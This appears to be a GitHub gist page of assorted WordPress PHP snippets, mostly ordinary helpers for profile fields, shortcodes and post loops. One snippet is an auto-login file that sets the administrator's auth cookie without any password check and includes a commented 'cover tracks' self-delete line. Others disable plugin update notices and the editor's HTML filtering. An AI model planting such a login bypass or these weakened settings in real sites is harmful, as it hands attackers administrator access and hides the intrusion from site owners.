Get meta
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'show_user_profile', 'my_show_extra_profile_fields' ); | |
add_action( 'edit_user_profile', 'my_show_extra_profile_fields' ); | |
add_action( 'user_new_form', 'my_show_extra_profile_fields' ); | |
function my_show_extra_profile_fields( $user ) { ?> | |
<table class="form-table"> | |
<tr> | |
<th><label for="twitter">Cumpleaños</label></th> | |
<td> | |
<input type="text" name="bday" id="bday" value="<?php echo esc_attr( get_the_author_meta( 'bday', $user->ID ) ); ?>" class="regular-text" /><br /> | |
</td> | |
</tr> | |
</table> | |
<?php } | |
add_action( 'user_register', 'my_save_extra_profile_fields' ); | |
add_action( 'personal_options_update', 'my_save_extra_profile_fields' ); | |
add_action( 'edit_user_profile_update', 'my_save_extra_profile_fields' ); | |
function my_save_extra_profile_fields( $user_id ) { | |
if ( !current_user_can( 'edit_user', $user_id ) ) | |
return false; | |
update_usermeta( $user_id, 'bday', $_POST['bday'] ); | |
} | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
require('wp-blog-header.php'); | |
require('wp-includes/pluggable.php'); | |
$user_info = get_userdata(1); | |
// Automatic login // | |
$username = $user_info->user_login; | |
$user = get_user_by('login', $username ); | |
// Redirect URL // | |
if ( !is_wp_error( $user ) ) | |
{ | |
wp_clear_auth_cookie(); | |
wp_set_current_user ( $user->ID ); | |
wp_set_auth_cookie ( $user->ID ); | |
$redirect_to = user_admin_url(); | |
wp_safe_redirect( $redirect_to ); | |
//cover tracks | |
//@unlink(__FILE__); | |
exit(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
function add_country_codes() { | |
$tax = 'entidad'; | |
$countries = explode(",","Aguascalientes,Baja California,Baja California Sur,Campeche,Chiapas,Chihuahua,Coahuila,Colima,CDMX,Durango,Estado de México,Guanajuato,Guerrero,Hidalgo,Jalisco,Michoacán,Morelos,Nayarit,Nuevo León,Oaxaca,Puebla,Querétaro,Quintana Roo,San Luis Potosí,Sinaloa,Sonora,Tabasco,Tamaulipas,Tlaxcala,Veracruz,Yucatán,Zacatecas"); | |
foreach( $countries as $country ) { | |
if(! term_exists( $country,$tax) ) | |
{ $args = array( 'slug' => strtolower( $country ) ); | |
wp_insert_term( $country,$tax,$args ); | |
} | |
} | |
} | |
// add after plugins register the tax | |
add_action( 'wp_loaded','add_country_codes',10 ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( has_post_thumbnail() ) : | |
the_post_thumbnail('medium'); | |
else: | |
$attachments = get_children(array('post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order')); //you may need to change that $post variable | |
if (is_array($attachments) ){ | |
$first_attachment = array_shift($attachments); | |
echo wp_get_attachment_image($first_attachment->ID,'medium'); | |
} | |
else{ | |
echo "<img src='noimage.png'>"; //no attachments, use placeholder | |
} | |
endif; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// [insertar slug="contacto"] | |
function insertPage($atts) { | |
$output = NULL; | |
extract(shortcode_atts(array( | |
"slug" => '' | |
), $atts)); | |
if (!empty($slug)) { | |
$page = get_page_by_path( $slug ); | |
$output = apply_filters('the_content',$page->post_content); | |
} | |
return $output; | |
} | |
add_shortcode('insertar', 'insertPage'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
function shortcode_grid($atts) { | |
$atts = shortcode_atts( ['tipo' => 'portafolio','cat' => 'caso-de-exito'] , $atts ); | |
$tax = $atts['tipo']; | |
$ter = $atts['cat']; | |
$arr = Array( | |
'post_type'=>'caso', | |
'posts_per_page'=>90, | |
'tax_query' => array( | |
array( | |
'taxonomy' => $tax, | |
'field' => 'slug', | |
'terms' => $ter, | |
), | |
), | |
); | |
$q= new WP_Query( $arr ); | |
while ( $q->have_posts() ) : $q->the_post(); | |
$m = get_post_meta( get_the_ID() ); | |
ob_start(); | |
?> | |
<div class='col-sm-3'> | |
<section> | |
<a href="<?php the_permalink(); ?>"><?php the_post_thumbnail(); ?></a> | |
<h3><a href="<?php the_permalink(); ?>"><?php the_title()?></a></h3> | |
<b> <?=$m['wpcf-subtitulo'][0]?> </b> | |
</section> | |
</div> | |
<? | |
$html = ob_get_contents(); | |
ob_end_clean(); | |
endwhile; wp_reset_postdata(); | |
return $html; | |
} | |
add_shortcode('grid', 'shortcode_grid'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$br = 6; //Number or articles to display | |
$n=0; while ( have_posts() ) : the_post(); if($n==$br){break;} $n++; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
function notas($i){ | |
global $post; | |
$nota = 'blog-featured'; //main | |
if($i>1 && $i<6) | |
$nota = 'blog-cuad'; //secundary class | |
if($i>5) | |
$nota = 'blog-list'; //third tier | |
?><div class="blog-item <?=$nota?>"> | |
<div class="full-cover"><a href="<?the_permalink()?>"><? the_post_thumbnail('full') ?></a></div> | |
<div class="blog-content"> | |
<p class="blog-date"><?=get_the_date( ) ?></p> | |
<h2><a href="<?the_permalink()?>"><? the_title()?></a></h2> | |
<div class="blog-excerpt"><? the_excerpt();?></div> | |
</div> | |
</div> | |
<? | |
} | |
$args = [ | |
'post_type' => 'post', | |
'category_name' => 'news'; // Or name the page 'news' and use $post->post_name | |
]; | |
$wp_query = new WP_Query( $args ); //use temp var if you need the old query | |
$nota = 1; | |
if (have_posts()) : while ( have_posts() ) : the_post(); | |
notas($nota++); | |
endwhile; endif; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter('site_transient_update_plugins', 'remove_update_notification'); | |
function remove_update_notification($value) { | |
unset($value->response[ plugin_basename(__FILE__) ]); | |
return $value; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter('body_class', function($classes) { | |
global $current_user; | |
$user_roles = $current_user->roles; | |
$classes[] = !empty( $user_roles[0] ) ? 'role-'.$user_roles[0] : 'role-guest'; | |
return $classes; | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('init', function(){ | |
if($_SERVER['REQUEST_URI']=='/' && !is_user_logged_in()) | |
{ wp_redirect('/soon.html', 301); exit;} | |
}, 11); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
/* bypass idiotic filter */ | |
function override_mce_options($initArray) { | |
$opts = '*[*]'; | |
$initArray['valid_elements'] = $opts; | |
$initArray['extended_valid_elements'] = $opts; | |
return $initArray; | |
} | |
add_filter('tiny_mce_before_init', 'override_mce_options'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$args = array( | |
'post_type' => 'movies', | |
'showposts' => 10 | |
); | |
$wp_query = new WP_Query( $args ); | |
while ( have_posts() ) : the_post(); | |
$terms = current(get_the_terms( $post->ID, 'genre' )); | |
?> | |
<h3><?php the_title(); ?></h3> | |
Genre: <span href="genre/<?echo $terms->slug;?>"><?echo $terms->name;?></span> | |
<hr> | |
<? | |
endwhile; // end of the loop. | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$arr = Array( | |
'post_type'=>'post', | |
'posts_per_page'=>9, | |
'cat'=>107 | |
); | |
$q= new WP_Query( $arr ); | |
while ( $q->have_posts() ) : $q->the_post(); | |
$meta = get_post_meta( get_the_ID() ); | |
$tel = $meta['wpcf-telefono'][0]; | |
the_content(); | |
endwhile; wp_reset_postdata(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment